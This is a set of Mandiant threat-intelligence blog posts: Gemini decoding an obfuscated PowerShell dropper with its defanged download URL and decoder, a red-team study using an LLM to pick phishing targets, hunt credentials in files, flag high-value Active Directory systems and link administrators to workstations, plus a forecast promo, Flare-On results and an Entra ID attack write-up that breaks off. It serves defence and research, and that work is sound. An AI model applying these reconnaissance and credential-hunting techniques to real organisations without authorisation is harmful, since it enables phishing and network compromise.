Mandiant Threat Intelligence

One of Google Cloud's major missions is to arm security professionals with modern tools to help them defend against the latest threats. Part of that mission involves moving closer to a more autonomous, adaptive approach in threat intelligence automation.

In our latest advancements in malware analysis, we’re equipping Gemini with new capabilities to address obfuscation techniques and obtain real-time insights on indicators of compromise (IOCs). By integrating the Code Interpreter extension, Gemini can now dynamically create and execute code to help deobfuscate specific strings or code sections, while Google Threat Intelligence (GTI) function calling enables it to query GTI for additional context on URLs, IPs, and domains found within malware samples. These tools are a step toward transforming Gemini into a more adaptive agent for malware analysis, enhancing its ability to interpret obfuscated elements and gather contextual information based on the unique characteristics of each sample.

Building on this foundation, we previously explored critical preparatory steps with Gemini 1.5 Pro, leveraging its expansive 2-million-token input window to process substantial sections of decompiled code in a single pass. To further enhance scalability, we introduced Gemini 1.5 Flash, incorporating automated binary unpacking through Mandiant Backscatter before the decompilation phase to tackle certain obfuscation techniques. Yet, as any seasoned malware analyst knows, the true challenge often begins once the code is exposed. Malware developers frequently employ obfuscation tactics to conceal critical IOCs and underlying logic. Malware may also download additional malicious code, making it challenging to fully understand the behavior of a given sample.

For large language models (LLMs), obfuscation techniques and additional payloads create unique challenges. When dealing with obfuscated strings such as URLs, IPs, domains, or file names, LLMs often “hallucinate” without explicit decoding methods. Additionally, LLMs cannot access, for example, URLs that host additional payloads, often resulting in speculative interpretations about the sample’s behavior.

To help with these challenges, Code Interpreter and GTI function calling tools provide targeted solutions. Code Interpreter enables Gemini to autonomously create and execute custom scripts, as needed, using its own judgment to decode obfuscated elements within a sample, such as strings encoded with XOR-based algorithms. This capability minimizes interpretation errors and enhances Gemini's ability to reveal hidden logic without requiring manual intervention. 

Meanwhile, GTI function calling expands Gemini’s reach by retrieving contextualized information from Google Threat Intelligence on suspicious external resources such as URLs, IPs, or domains, providing verified insights without speculative guesses. Together, these tools equip Gemini to better handle obfuscated or externally hosted data, bringing it closer to the goal of functioning as an autonomous agent for malware analysis.

To illustrate how these enhancements boost Gemini's capabilities, let's look at a practical example. In this case, we’re analyzing a PowerShell script that contains an obfuscated URL that hosts a second-stage payload. This particular sample was previously analyzed with some of the most advanced publicly available LLM models, which incorporate code generation and execution as part of their reasoning process. Despite these capabilities, each model “hallucinated,” generating completely fabricated URLs instead of accurately revealing the correct one.

Obfuscated PowerShell code sample to be analyzed by Gemini

Utilizing Code Interpreter and GTI function calling as part of its reasoning process, Gemini autonomously generated the following report without any human intervention. When deemed necessary, it applies these tools to process and extract additional information from the sample.

Final Report: PowerShell Malware with URL Deobfuscation

This report analyzes a PowerShell script designed to download and execute a file from an obfuscated URL. The script employs a custom obfuscation routine resembling the RC4 stream cipher to conceal the malicious URL.

Functionality:

1. Obfuscation Routine: The script defines a function F that performs byte-level XOR encryption using a key derived from the string "tox2". This function is used to deobfuscate the malicious URL.

2. URL Decryption: The obfuscated URL, stored as a byte array, is decrypted using the F function with "tox2" as the key.

3. File Download: The script downloads a file from the decrypted URL (hxxps://filedn[.]eu/lODWTgN8sswHA6Pn8HXWe1J/tox2/Scan_docs%2398097960[.]msi) and saves it to the system's temporary directory under a randomly generated filename.

4. Execution: Finally, the script executes the downloaded file.

Indicators of Compromise (IOCs):

• URL: hxxps://filedn[.]eu/lODWTgN8sswHA6Pn8HXWe1J/tox2/Scan_docs%2398097960[.]msi

Deobfuscation Code:

def deobfuscate(x, y): s = list(range(256)) j = 0 k = [ord(c) for c in y] for i in range(256): j = (j + s[i] + k[i % len(k)]) % 256 s[i], s[j] = s[j], s[i] i = 0 j = 0 output = [] for m in range(len(x)): i = (i + 1) % 256 j = (j + s[i]) % 256 s[i], s[j] = s[j], s[i] output.append(x[m] ^ s[(s[i] + s[j]) % 256]) return output a = [0x25, 0x7B, 0x5A, 0xD8, 0x9C, 0xFF, 0xC3, 0xA4, 0x95, 0xB7, 0x9D, 0x6E, 0x5F, 0x4D, 0x49, 0xFB, 0x78, 0x32, 0xB8, 0x17, 0x72, 0x01, 0x31, 0xFB, 0xC0, 0x58, 0x45, 0xCB, 0x5C, 0x3C, 0xDD, 0x00, 0x60, 0x87, 0x25, 0xB2, 0x44, 0xA6, 0xC5, 0xEA, 0x71, 0xAA, 0x9D, 0xA1, 0x05, 0x5F, 0xBD, 0x41, 0x28, 0x70, 0x30, 0x6B, 0x96, 0x24, 0x92, 0xA0, 0x9D, 0x92, 0x23, 0x79, 0x69, 0x2C, 0x1B, 0x1E, 0xEB, 0x69, 0x8F, 0x04, 0x10, 0x74, 0xBC] b = "tox2" c = deobfuscate(a, b) decoded_url = "".join(chr(i) for i in c) print(decoded_url)

Google Threat Intelligence (GTI) Lookup:

The GTI lookup provides valuable context regarding the identified IOC:

• Threat Actor: UNC5687, known for using MESHAGENT in phishing campaigns impersonating the Security Service of Ukraine.

• Campaign: This specific URL is linked to a campaign spreading MESHAGENT via phishing emails with malicious links. The campaign involved a captcha page leading to the download of either a malicious MSI or EXE file.

• Malware: The campaign delivers MESHAGENT, an open-source remote access framework, configured to communicate with C2 domains linked to a service called "AnonVNC."

Conclusion:

The analyzed PowerShell script is confirmed to be malicious, associated with a phishing campaign by UNC5687 distributing the MESHAGENT remote access tool.

Gemini identified that the script employs an XOR-based obfuscation algorithm that resembles  RC4 to conceal the download URL. Recognizing this pattern, Gemini autonomously generates and executes a Python deobfuscation script within the Code Interpreter sandbox, successfully revealing the external resource.

With the URL in hand, Gemini then utilizes GTI function calling to query Google Threat Intelligence for further context. This analysis links the URL to UNC5687, a threat cluster known for using a remote access tool in phishing campaigns impersonating the Security Service of Ukraine.

As we’ve seen, the integration of these tools has strengthened Gemini’s ability to function as a malware analyst capable of adapting its approach to address obfuscation and gathering vital context on IOCs. By incorporating the Code Interpreter and GTI function calling, Gemini is better equipped to navigate complex samples by autonomously interpreting hidden elements and contextualizing external references.

While these are significant advancements, many challenges remain, especially given the vast diversity of malware and scenarios that exist in the threat landscape. We’re committed to making steady progress, and future updates will continue to enhance Gemini's capabilities, moving us closer to a more autonomous, adaptive approach in threat intelligence automation.

Written by: Matthijs Gielen, Jay Christiansen

Background

New solutions, old problems. Artificial intelligence (AI) and large language models (LLMs) are here to signal a new day in the cybersecurity world, but what does that mean for us—the attackers and defenders—and our battle to improve security through all the noise?

Data is everywhere. For most organizations, the access to security data is no longer the primary issue. Rather, it is the vast quantities of it, the noise in it, and the disjointed and spread-out nature of it. Understanding and making sense of it—THAT is the real challenge.

When we conduct adversarial emulation (red team) engagements, making sense of all the network, user, and domain data available to us is how we find the path forward. From a defensive perspective, efficiently finding the sharpest and most dangerous needles in the haystack—for example, easily accessible credentials on fileshares—is how we prioritize, improve, and defend.

How do you make sense of this vast amount of structured and unstructured data, and give yourself the advantage?

Data permeates the modern organization. This data can be challenging to parse, process, and understand from a security implication perspective, but AI might just change all that.

This blog post will focus on a number of case studies where we obtained data during our complex adversarial emulation engagements with our global clients, and how we innovated using AI and LLM systems to process this into structured data that could be used to better defend organizations. We will showcase the lessons learned and key takeaways for all organizations and highlight other problems that can be solved with this approach for both red and blue teams.

Approach

Data parsing and understanding is one of the biggest early benefits of AI. We have seen many situations where AI can help process data at a fast rate. Throughout this post, we use an LLM to process unstructured data, meaning that the data did not have a structure or format that we knew about before parsing the data.

If you want to try these examples out yourself, please make sure you use either a local model, or you have permission to send the data to an external service.

Getting Structured Data Out of an LLM

Step one is to get the data into a format we can use. If you ever used an LLM, you will have noticed it will output as a story or prose text, especially if you use chat-based versions. For a lot of use cases, this is fine; however, we want to analyze the data and get structured data. Thus, the first problem we have to solve is to get the LLM to output the data in a format we can specify. The simple method is to ask the LLM to output the data in a machine readable format like JSON, XML, or CSV. However, you will quickly notice that you have to be quite specific with the data format, and the LLM can easily output data in another format, ignoring your instructions.

Luckily for us, other people have encountered this problem and have solved it with something called Guardrails. One of the projects we have found is called guardrails-ai. It is a Python library that allows you to create guardrails—specific requirements—for a model based on Pydantic.

To illustrate, take a simple Python class from the documentation to validate a pet from the output of the LLM:

from pydantic import BaseModel, Field class Pet(BaseModel): pet_type: str = Field(description="Species of pet") name: str = Field(description="a unique pet name")

You can use the next code from the Guardrails documentation to process the output of the LLM into a structured object:

from guardrails import Guard import openai prompt = """ What kind of pet should I get and what should I name it? ${gr.complete_json_suffix_v2} """ guard = Guard.from_pydantic(output_class=Pet, prompt=prompt) raw_output, validated_output, *rest = guard( llm_api=openai.completions.create, engine="gpt-3.5-turbo-instruct" ) print(validated_output)

If we look at what this library generates underwater for this prompt, we see that it adds a structured object part with the instructions for the LLM to output data in a specific way. This streamlines the way you can get structured data from an LLM.

Figure 1: The generated prompt from the Pydantic model

For the next use case, we will show the Pydantic models we've created to process the output.

Red Team Use Cases

The next sections contain some use cases where we can use an LLM to get structured data out of data obtained. The use cases are divided into three categories of the attack lifecycle: 

• Initial Reconnaissance

• Escalate Privileges

• Internal Reconnaissance

Figure 2: Attack lifecycle

Initial Reconnaissance

Open Source Intelligence (OSINT) is an important part of red teaming. It includes gathering data about the target organization from news articles, social media, and corporate reports.

This information can then be used in other red team phases such as during phishing. For defenders, it helps them understand which parts of their organization are exposed to the internet, anticipating a possible future attack. In the next use case, we talk about processing social media information to process roles and extract useful information.

Use Case 1: Social Media Job Functions Information

During OSINT, we often try to get information from employees about their function in their company. This helps with performing phishing attacks, as we do not want to target IT professionals, especially those that work in cybersecurity.

Social media sites allow their users to write about their job titles in a free format. This means that the information is unstructured and can be written in any language and any format.

We can try to extract the information from the title with simple matches; however, because the users can fill in anything and in any language, this problem can be better solved with an LLM.

Data Model

First, we create a Pydantic model for the Guardrail:

class RoleOutput(BaseModel): role: str = Field(description="Role being analyzed") it: bool = Field(description="The role is related to IT") cybersecurity: bool = Field(description="The role is related to CyberSecurity") experience_level: str = Field( description="Experience level of the role.", )

This model has two Boolean options if the role is IT or cybersecurity related. Additionally, we would like to know the experience level of the role.

Prompt

Next, let's create a prompt to instruct the LLM to extract the requested information from the role. This prompt is quite simple and just asks the LLM to fill in the data.

Given the following role, answer the following questions. If the answer doesn't exist in the role, enter ``. ${role} ${gr.complete_xml_suffix_v2}

The two last lines are placeholders used by guardrails-ai.

Results

To test the models, we have scraped the titles that employees use on social media. This dataset contained the titles that the employees used and contained 235 entries. For testing, we used the gemini-1.0-pro model.

Gemini managed to parse 232 entries. The results are shown in Table 1.

 

Not IT

IT

Cybersecurity

Gemini

183

49

5

Manual evaluation
by a red team operator

185

47

5

False positive

1

3

0

Table 1: Results of Gemini parsing 232 job title entries

In the end, Gemini processed the roles quite on par with a human. Most of the false positives were questionable because it is not very clear if the role was actually IT related. The experience level did not perform well, as the model deemed the experience level as "unknown" or "none" for most of the entries. To resolve this issue, the field was changed so that the experience level should be a number from 1 to 10. After running the analysis again, this yielded better results for the experience level. The lowest experience levels (1–4) contained function titles like "intern," "specialist," or "assistant." This usually indicated that the person had been employed at that role for a shorter period of time. The updated data model is shown as follows:

class RoleOutput(BaseModel): role: str = Field(description="Role being analyzed") it: bool = Field(description="The role is related to IT") cybersecurity: bool = Field(description="The role is related to CyberSecurity") experience_level: int = Field( description="Estimate of the experience level of the role on a scale of 1-10. Where 1 is low experience and 10 is high.", )

This approach helped us to sort through a large dataset of phishing targets by identifying employees that did not have IT and cybersecurity roles, and sorting them by experience level. This can speed up target selection for large organizations and may allow us to better emulate attackers by changing the prompts or selection criteria. To defend against this, data analysis is more difficult. In theory, you can instruct all your employees to include "Cybersecurity" in their role, but that does not scale well or solve the underlying phishing problem. The best approach with regards to phishing is, in our experience, to invest into phishing resistant multifactor authentication (MFA) and application allowlisting. If applied well, these solutions can mitigate phishing attacks as an initial access vector.

Escalate Privileges

Once attackers establish a foothold into an organization, one of their first acts is often to improve their level of access or control through privilege escalation. There are quite a few methods that can be used for this. It comes in a local system-based variety as well as wider domain-wide types, with some based on exploits or misconfigurations, and others based on finding sensitive information when searching through files.

Our focus will be on the final aspect, which aligns with our challenge of identifying the desired information within the vast amount of data, like finding a needle in a haystack.

Use Case 2: Credentials in Files

After gaining initial access to the target network, one of the more common enumeration methods employed by attackers is to perform share enumeration and try to locate interesting files. There are quite a few tools that can do this, such as Snaffler.

After you identify files that potentially contain credentials, you can go through them manually to find useful ones. However, if you do this in a large organization, there is a chance that you will have hundreds to thousands of hits. In that case, there are some tools that can help with finding and classifying credentials like TruffleHog and Nosey Parker. Additionally, the Python library detect-secrets can help with this task. 

Most of these tools look for common patterns or file types that they understand. To cover unknown file types or credentials in emails or other formats, it might instead be valuable to use an LLM to analyze the files to find any unknown or unrecognized formats.

Technically, we can just run all tools and use a linear regression model to combine the results into one. An anonymized example of a file with a password that we encountered during our tests is shown as follows:

@Echo Off Net Use /Del * /Yes Set /p Path=<"path.txt" Net Use %Path% Welcome01@ /User:CHAOS.LOCAL\WorkstationAdmin If Not Exist "C:\Data" MKDIR "C:\Data" Copy %Path%\. C:\Data Timeout 02 Data Model

We used the following Python classes to instruct Gemini to retrieve credentials with an optional domain. One file can contain multiple credentials, so we use a list of credentials to instruct Gemini to optionally retrieve multiple credentials from one file.

class Credential(BaseModel): password: str = Field(description="Potential password of an account") username: str = Field(description="Potential username of an account") domain: Optional[str] = Field( description="Optional domain of an account", default="" ) class ListOfCredentials(BaseModel): credentials: list[Credential] = [] Prompt

In the prompt, we give some examples of what kind of systems we are looking for, and output into JSON once again:

Given the following file, check if there are credentials in the file. Only include results if there is at least one username and password. If the domain doesn't exist in the file, enter `` as a default value. ${file} ${gr.complete_xml_suffix_v2} Results

We tested on 600 files, where 304 contain credentials and 296 do not. Testing occurred with the gemini-1.5 model. Each file took about five seconds to process.

To compare results with other tools, we also tested Nosey Parker and TruffleHog. Both NoseyParker and Truffle Hog are made to find credentials in a structured way in files, including repositories. Their use case is usually for known file formats and randomly structured files.

The results are summarized in Table 2.

Tool

True Negative

False Positive

False Negative

True Positive

Nosey Parker

284 (47%)

12 (2%)

136 (23%)

168 (28%)

TruffleHog

294 (49%)

2 (<1%)

180 (30%)

124 (21%)

Gemini

278 (46%)

18 (3%)

23 (4%)

281 (47%)

Table 2: Results of testing for credentials in files, where 304 contain them and 296 do not

In this context, the definitions of true negative, false positive, false negative, and true positive are as follows:

• True Negative: A file does not contain any credentials, and the tool correctly indicates that there are no credentials.

• False Positive: The tool incorrectly indicates that a file contains credentials when it does not.

• False Negative: The tool incorrectly indicates that a file does not contain any credentials when it does.

• True Positive: The tool correctly indicates that a file contains credentials.

In conclusion, Gemini finds the most files with credentials, at a cost of a slightly higher false positive rate. TruffleHog has the lowest false positive rate, but also finds the least amount of true positives. This is to be expected, as a higher true positive rate usually is accompanied by a higher false positive rate. The current dataset has almost an equal number of files with and without credentials—in real-world scenarios this ratio can differ wildly, which means that the false positive rate is still important even though the percentages are quite close.

To optimize this approach, you can use all three tools, combine the output signals to a single signal, and then sort the potential files based on this combined signal.

Defenders can, and should, use the same techniques previously described to enumerate the internal file shares and remove or limit access to files that contain credentials. Make sure to check what file shares each server and workstation exposes to the network, because in some cases file shares are exposed accidentally or were forgotten about.

Internal Reconnaissance

When attackers have gained a better position in the network, the next step in their playbooks is understanding the domain in which they have landed so they can construct a path to their ultimate goal. This could be full domain control or access to specific systems or users, depending on the threat actor's mission. From a red team perspective, we need to be able to emulate this. From a defender's perspective, we need to find these paths before the attackers exploit them.

The main tool that red teamers use to analyze Active Directory is BloodHound, which uses a graph database to find paths in the Active Directory. BloodHound is executed in two steps. First, an ingester retrieves the data from the target Active Directory. Second, this data is ingested and analyzed by BloodHound to find attack paths.

Some tools that can gather data to be used in BloodHound are:

• Sharphound

• Bloodhound.py

• Rusthound

• Adexplorer

• Bofhound

• Soaphound

These tools gather data from the Active Directory and other systems and output it in a format that BloodHound can read. In theory, if we have all the information about the network in the graph, then we can just query the graph to figure out how to achieve our objective.

To improve the data in BloodHound, we have thought of additional use cases. Use Case 3 is about finding high-value systems. Discovering more hidden edges in BloodHound is part of Use Case 4 and Use Case 5.

Use Case 3: High-Value Target Detection in Active Directory

By default, BloodHound deems some groups and computers as high value. One of the main activities in internal reconnaissance is figuring out which systems in the client's network are high-value targets. Some examples of systems that we are interested in, and that can lead to domain compromise, are:

• Backup systems

• SCCM

• Certificate services

• Exchange

• WSUS systems

There are many ways to indicate which servers are used for a certain function, and it depends on how the IT administrators have configured it in their domain. There are some fields that may contain data in various forms to indicate what the system is used for. This is a prime example of unstructured data that might be analyzable with an LLM.

The following fields in the Active Directory might contain the relevant information:

• Name

• Samaccountname

• Description

• Distinguishedname

• SPNs

Data Model

In the end, we would like to have a list of names of the systems the LLM has deemed high value. During development, we noticed that LLM results improved dramatically if you asked it to specify a reason. Thus, our Pydantic model looks like this:

class HighValueSystem(BaseModel): name: str = Field(description="Name of this system") reason: str = Field(description="Reason why this system is high value", default="") class HighValueResults(BaseModel): systems: list[HighValueSystem] = Field(description="high value systems", default=[]) Prompt

In the prompt, we give some examples of what kind of systems we are looking for:

Given the data, identify which systems are high value targets, look for: sccm servers, jump systems, certificate systems, backup systems and other valuable systems. Use the first (name) field to identify the systems. Results

We tested this prompt on a dataset of 400 systems and executed it five times. All systems were sent in one query to the model. To accommodate this, we used the gemini-1.5 model because it has a huge context window. Here are some examples of reasons Gemini provided, and what we think the reason was based off:

• Domain controller: Looks like this was based on the "OU=Domain Controllers" distinguishedname field of BloodHound

• Jumpbox: Based on the "OU=Jumpboxes,OU=Bastion Servers" distinguishedname

• Lansweeper: Based on the description field of the computer

• Backup Server: Based on "OU=Backup Servers" distinguishedname

Some of the high-value targets are valid yet already known, like domain controllers. Others are good finds, like the jumpbox and backup servers. This method can process system names in other languages and more verbose descriptions of systems to determine systems that may be high value. Additionally, this method can be adapted to allow for a more specific query—for example, that might suit a different client environment:

Given the data, identify which systems are related to SWIFT. Use the first (name) field to identify the systems.

In this case, the LLM will look for SWIFT servers and may save you some time searching for it manually. This approach can potentially be even better when you combine this data with internal documentation to give you results, even if the Active Directory information is lacking any information about the usage of the system.

For defenders, there are some ways to deal with this situation:

• Limit the amount of information in the Active Directory and put the system descriptions in your documentation instead of within the Active Directory

• Limit the amount of information a regular user can retrieve from the Active Directory

• Monitor LDAP queries to see if a large amount of data is being retrieved from LDAP

Use Case 4: User Clustering

After gaining an initial strong position, and understanding the systems in the network, attackers will often need to find the right users to compromise to gain further privileges in the domain. For defenders, legacy user accounts or administrators with too many rights is a common security issue.

Administrators often have multiple user accounts: one for normal operations like reading email and using it on their workstations, and one or multiple administrator accounts. This separation is done to make it harder for attackers to compromise the administrator account.

There are some common flaws in the implementations that sometimes make it possible to bypass these separations. Most of the methods require the attacker to cluster the users together to see which accounts belong to the same employee. In many cases, this can be done by inspecting the Active Directory objects and searching for patterns in the display name, description, or other fields. To automate this, we tried to find these patterns with Gemini.

Data Model

For this use case, we would like to have the account's names that Gemini clusters together. During initial testing, the results were quite random. However, after adding a "reason" field, the results improved dramatically. So we used the next Pydantic model:

class User(BaseModel): accounts: list[Account] = Field( description="accounts that probably belongs to this user", default=[] ) reason: str = Field( description="Reason why these accounts belong to this user", default="" ) class UserAccountResults(BaseModel): users: list[User] = Field(description="users with multiple accounts", default=[]) Prompt

In the prompt, we give some examples of what kind of systems we are looking for:

Given the data, cluster the accounts that belong to a single person by checking for similarities in the name, displayname and sam. Only include results that are likely to be the same user. Only include results when there is a user with multiple accounts. It is possible that a user has more than two accounts. Please specify a reason why those accounts belong to the same user. Use the first (name) field to identify the accounts. Results

The test dataset had about 900 users. We manually determined that some users have two to four accounts with various permissions. Some of these accounts had the same pattern like "[email protected]" and "[email protected]." However, other accounts had patterns where the admin account was based on the first couple of letters. For example, their main account had the pattern [email protected], and the admin account was named: [email protected]. To keep track of those accounts, the description of the admin account contained some text similar to "admin account of Matthijs Gielen." 

With this prompt, Gemini managed to cluster 50 groups of accounts in our dataset. After manual verification, some of the results were discarded because they only contained one account in the cluster. This resulted in 43 correct clusters of accounts. Manually, we found the same correlation; however, where Gemini managed to output this information in a couple of minutes, manually this took quite a bit longer to analyze and correlate all accounts. This information was used in preparation for further attacks, as shown in the next use case.

Use Case 5: Correlation Between Users and Their Machines

Knowing which users to target or defend is often not enough. We also need to find them within the network in order to compromise them. Domain administrators are (usually) physical people; they need somewhere to type in their commands and perform administrative actions. This means that we need to correlate which domain administrator is working from which workstation. This is called session information, and BloodHound uses this information in an edge called "HasSession."

In the past, it was possible to get all session information with a regular user during red teaming.

Using the technique in Use Case 4, we can correlate the different user accounts that one employee may have. The next step is to figure out which workstation belongs to that employee. Then we can target that workstation, and from there, hopefully recover the passwords of their administrator accounts.

In this case, employees have corporate laptops, and the company needs to keep track of which laptop belongs to which employee. Often this information is stored in one of the fields of the computer object in the Active Directory. However, there are many ways to do this, and using Gemini to parse the unstructured data is one such example.

Data Model

This model is quite simple, we just want to correlate machines to their users and have Gemini give us a reason why—to improve the output of the model. Because we will send all users and all computers at once, we will need a list of results.

class UserComputerCorrelation(BaseModel): user: str = Field(description="name of the user") computer: str = Field(description="name of the computer") reason: str = Field( description="Reason why these accounts belong to this user", default="" ) class CorrelationResults(BaseModel): results: list[UserComputerCorrelation] = Field( description="users and computers that correlate", default=[] ) Prompt

In the prompt, we give some examples of what kind of systems we are looking for:

Given the two data sets, find the computer that correlates to a user by checking for similarities in the name, displayname and sam. Only include results that are likely to correspond. Please specify a reason why that user and computer correlates. Use the first (name) field to identify the users and computers. Results

The dataset used contains around 900 users and 400 computers. During the assignment, we determined that the administrators correlated users and their machines via the description field of the computer, which was sort of equal to the display name of the user. Gemini correctly picked up this connection, correctly correlating around 120 users to their respective laptops (Figure 3).

Figure 3: Connections between user and laptop as correlated by Gemini

Gemini helped us to select an appropriate workstation, which enabled us to perform lateral movement to a workstation and obtain the password of an administrator, getting us closer to our goal.

To defend against these threats, it can be valuable to run tools like BloodHound in the network. As discussed, BloodHound might not find all the "hidden" edges in your network, but you can add these yourself to the graph. This will allow you to find more Active Directory-based attack paths that are possible in your network and mitigate these before an attacker has an opportunity to exploit those attack paths.

Conclusion

In this blog post, we looked at processing red team data using LLMs to aid in adversarial emulation or improving defenses. These use cases were related to processing human-generated, unstructured data. Table 3 summarizes the results.

Use Case

Accuracy of the Results

Usefulness

Roles

High: There were a few false positives that were in the gray area.

High: Especially when going through a large list of roles of users, this approach will provide fairly fast results.

Credentials in files

High: Found more credentials than comparable tools. More testing should look into the false-positive rate in real scenarios.

Medium: This approach finds a lot more results; however, processing it with Gemini is a lot slower (five seconds per file) than many other alternatives.

High-value targets

Medium: Not all results were new, nor were all high-value targets.

Medium: Some of the results were useful; however, all of them still require manual verification.

Account clustering

High: After taking into account the clusters with one account, the other ones were well clustered.

High: Clustering users is most of the time a tedious process to do manually. It gives fairly reliable results if you filter out the results with only one account.

Computer correlation

High: All results were correctly correlated users to their computers.

High: This approach produces accurate results potentially providing insights into extra possible attack paths.

Table 3: The results of our experiments of data processing with Gemini

As the results show, using an LLM like Gemini can help in converting this type of data into structured data to aid attackers and defenders. However, keep in mind that LLMs are not a silver bullet and have limitations. For example, they can sometimes produce false positives or be slow to process large amounts of data.

There are quite a few use cases we have not covered in this blog post. Some other examples where you can use this approach are:

• Correlating user groups to administrator privileges on workstations and servers

• Summarizing internal website content or documentation to search for target systems

• Ingesting documentation to generate password candidates for cracking passwords

The Future

This was just an initial step that we on the Advanced Capabilities team on the Mandiant Red Team have explored so far when using LLMs for adversarial emulation and defense. For next steps, we know that the models and prompts can be improved by testing variations in the prompts, and other data sources can be investigated to see if Gemini can help analyze them. We are also looking at using linear regression models as well as clustering and pathfinding algorithms to enable cybersecurity practitioners to quickly evaluate attack paths that may exist in a network.

Every November, we start sharing forward-looking insights on threats and other cybersecurity topics to help organizations and defenders prepare for the year ahead. The Cybersecurity Forecast 2025 report, available today, plays a big role in helping us accomplish this mission.

This year’s report draws on insights directly from Google Cloud's security leaders, as well as dozens of analysts, researchers, responders, reverse engineers, and other experts on the frontlines of the latest and largest attacks. 

aside_block

<ListValue: [StructValue([('title', 'Cybersecurity Forecast 2025'), ('body', <wagtail.rich_text.RichText object at 0x3e009c90a7f0>), ('btn_text', 'Download now'), ('href', 'https://cloud.google.com/security/resources/cybersecurity-forecast?utm_source=cgc-blog&utm_medium=blog&utm_campaign=FY24-Q4-global-MAND1370-website-dl-dgcsm-security-forecast-2025&utm_content=cgc-blog&utm_term=-'), ('image', <GAEImage: Cybersecurity Forecast 2025 cover>)])]>

Key Threat Findings

Built on trends we are already seeing today, the Cybersecurity Forecast 2025 report provides a realistic outlook of what organizations can expect to face in the coming year. The report covers a lot of topics across all of cybersecurity, with a focus on various threats such as:

• Attacker Use of Artificial Intelligence (AI): Threat actors will increasingly use AI for sophisticated phishing, vishing, and social engineering attacks. They will also leverage deepfakes for identity theft, fraud, and bypassing security measures.

• AI for Information Operations (IO): IO actors will use AI to scale content creation, produce more persuasive content, and enhance inauthentic personas.

• The Big Four: Russia, China, Iran, and North Korea will remain active, engaging in espionage operations, cyber crime, and information operations aligned with their geopolitical interests.

• Ransomware and Multifaceted Extortion: Ransomware and multifaceted extortion will continue to be the most disruptive form of cyber crime, impacting various sectors and countries.

• Infostealer Malware: Infostealer malware will continue to be a major threat, enabling data breaches and account compromises.

• Democratization of Cyber Capabilities: Increased access to tools and services will lower barriers to entry for less-skilled actors.

• Compromised Identities: Compromised identities in hybrid environments will pose significant risks.

• Web3 and Crypto Heists: Web3 and cryptocurrency organizations will increasingly be targeted by attackers seeking to steal digital assets.

• Faster Exploitation and More Vendors Targeted: The time to exploit vulnerabilities will continue to decrease, and the range of targeted vendors will expand.

Be Prepared for 2025

Read the Cybersecurity Forecast 2025 report for a more in-depth look at these and other threats, as well as other security topics such as post-quantum cryptography, and insights unique to the JAPAC and EMEA regions. 

For an even deeper look at the threat landscape next year, register for our Cybersecurity Forecast 2025 webinar, which will be hosted once again by threat expert Andrew Kopcienski.

For even more insights, hear directly from our security leaders: Charles Carmakal, Sandra Joyce, Sunil Potti, and Phil Venables.

Written by: Nick Harbour

The eleventh Flare-On challenge is now over! This year proved to be a tough challenge for the over 5,300 players, with only 275 completing all 10 stages. We had a blast making this contest and are happy to see it continue to be a world-wide phenomenon. Those that finished all stages this year may be eligible to receive this elite desk trophy to the envy of your coworkers and family.

We would like to thank the challenge authors individually for their great puzzles and solutions:

1. frog - Nick Harbour (@nickharbour)

2. checksum - Chuong Dong (@cPeterr)

3. aray - Jakub Jozwiak

4. FLARE Meme Maker 3000 - Moritz Raabe (@m_r_tz)

5. sshd - Christopher Gardner (@t00manybananas)

6. bloke2 - Dave Riley (@6502_ftw)

7. fullspeed - Sam Kim

8. Clearly Fake - Blas Kojusner (@bkojusner)

9. serpentine - Mustafa Nasser (@d35ha)

10. CATBERT Ransomware - Mark Lechtik (@_marklech_)

This year’s challenge hosted 5,324 registered users, with 3,066 of them solving at least one stage. The difficulty curve ended up smoother than last year’s, with a nice progression of people falling off at stages 5, 7, and 9. Coincidentally, based on finisher feedback those were also the consensus favorite challenges this year. Does that mean we should up the difficulty next time?

Last year Germany was far out ahead of the leaderboard with 19 finishers to 2nd place Singapore’s 15. This year Vietnam takes the lead with 21 finishers and the USA comes in second with 20.

All the binaries from this year’s challenge are now posted on the Flare-On website. Here are the solutions written by each challenge author:

1. SOLUTION #1
2. SOLUTION #2
3. SOLUTION #3
4. SOLUTION #4
5. SOLUTION #5
6. SOLUTION #6
7. SOLUTION #7
8. SOLUTION #8
9. SOLUTION #9
10. SOLUTION #10

Written by: Thibault Van Geluwe de Berlaere, Karl Madden, Corné de Jong

The Mandiant Red Team recently supported a client to visualize the possible impact of a compromise by an advanced threat actor. During the assessment, Mandiant moved laterally from the customer’s on-premises environment to their Microsoft Entra ID tenant and obtained privileges to compromise existing Entra ID service principals installed in the tenant. 

In this blog post, we will show a novel way of how adversaries can move laterally and elevate privileges within Microsoft Entra ID when organizations use a popular security architecture involving Intune-managed Privileged Access Workstations (PAWs) by abusing Intune permissions (DeviceManagementConfiguration.ReadWrite.All) granted to Entra ID service principals. We also provide remediation steps and recommendations to prevent and detect this type of attack.

Pretext

The customer had a mature security architecture following Microsoft’s recommended Enterprise Access model, including:

• An on-premises environment using Active Directory, following the Tiered Model. 

• An Entra ID environment, synced to the on-premises environment using Microsoft Entra Connect Sync to synchronize on-premises identities and groups to Entra ID. This environment was administered using PAWs, which were not joined to the on-premises Active Directory environment, but instead were fully cloud-native and managed by Intune Mobile Device Management (MDM). IT administrators used a dedicated, cloud-native (non-synced) administrative account to log in to these systems. Entra ID role assignments (Global Administrator, Privileged Role Administrator, et cetera.) were exclusively assigned to these cloud-native administrative accounts.

The separation of administrative accounts, devices and privileges between the on-premises environment and the Entra ID environment provided a strong security boundary:

1. Using separate, cloud-native identities for Entra ID privileged roles ensures a compromise of the on-premises Active Directory cannot be used to compromise the Entra ID environment. This is a Microsoft best practice.

2. Using separate physical workstations for administrative access to on-premises resources and cloud resources effectively creates an ‘air gap’ between the administration plane of the two environments. Air gaps are especially difficult for attackers to cross.

3. The administrative accounts in Entra ID were assigned roles through Privileged Identity Management enforced by strong Conditional Access policies, requiring a managed, compliant device and multi-factor authentication. These are also Microsoft-recommended best practices.

Attack Path

As part of the assessment objectives, the Mandiant Red Team was tasked with obtaining Global Administrator privileges in the Entra ID tenant. Through various techniques out of scope for this blog post, Mandiant obtained privileges in the Entra ID tenant to add credentials to Entra ID service principals (microsoft.directory/servicePrincipals/credentials/update), allowing the Red Team to compromise any preinstalled service principal.

A few publicly known techniques exist to abuse service principal privileges to obtain elevated permissions, most notably using the RoleManagement.ReadWrite.Directory, AppRoleAssignment.ReadWrite.All and Application.ReadWrite.All Microsoft Graph permissions. 

None of these permissions were in use in the customer’s environment though, forcing the Mandiant Red Team to rethink their strategy. 

